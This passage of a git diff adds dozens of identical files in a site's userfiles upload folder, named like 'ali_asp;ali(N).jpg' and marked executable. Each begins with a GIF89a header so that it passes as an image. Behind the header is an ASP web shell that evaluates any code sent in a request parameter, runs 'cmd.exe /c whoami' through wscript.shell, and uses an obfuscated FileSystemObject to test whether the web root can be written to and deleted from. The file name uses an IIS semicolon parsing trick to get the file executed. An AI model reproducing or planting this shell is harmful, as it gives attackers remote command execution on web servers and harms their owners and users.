+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(25).jpg b/userfiles/file/ali_asp;ali(25).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(26).jpg b/userfiles/file/ali_asp;ali(26).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(27).jpg b/userfiles/file/ali_asp;ali(27).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(28).jpg b/userfiles/file/ali_asp;ali(28).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(29).jpg b/userfiles/file/ali_asp;ali(29).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(3).jpg b/userfiles/file/ali_asp;ali(3).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(30).jpg b/userfiles/file/ali_asp;ali(30).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(31).jpg b/userfiles/file/ali_asp;ali(31).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(32).jpg b/userfiles/file/ali_asp;ali(32).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(33).jpg b/userfiles/file/ali_asp;ali(33).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(34).jpg b/userfiles/file/ali_asp;ali(34).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(35).jpg b/userfiles/file/ali_asp;ali(35).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(36).jpg b/userfiles/file/ali_asp;ali(36).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(37).jpg b/userfiles/file/ali_asp;ali(37).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(38).jpg b/userfiles/file/ali_asp;ali(38).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(39).jpg b/userfiles/file/ali_asp;ali(39).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(4).jpg b/userfiles/file/ali_asp;ali(4).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(40).jpg b/userfiles/file/ali_asp;ali(40).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(41).jpg b/userfiles/file/ali_asp;ali(41).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(42).jpg b/userfiles/file/ali_asp;ali(42).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(43).jpg b/userfiles/file/ali_asp;ali(43).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(44).jpg b/userfiles/file/ali_asp;ali(44).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(45).jpg b/userfiles/file/ali_asp;ali(45).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(46).jpg b/userfiles/file/ali_asp;ali(46).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
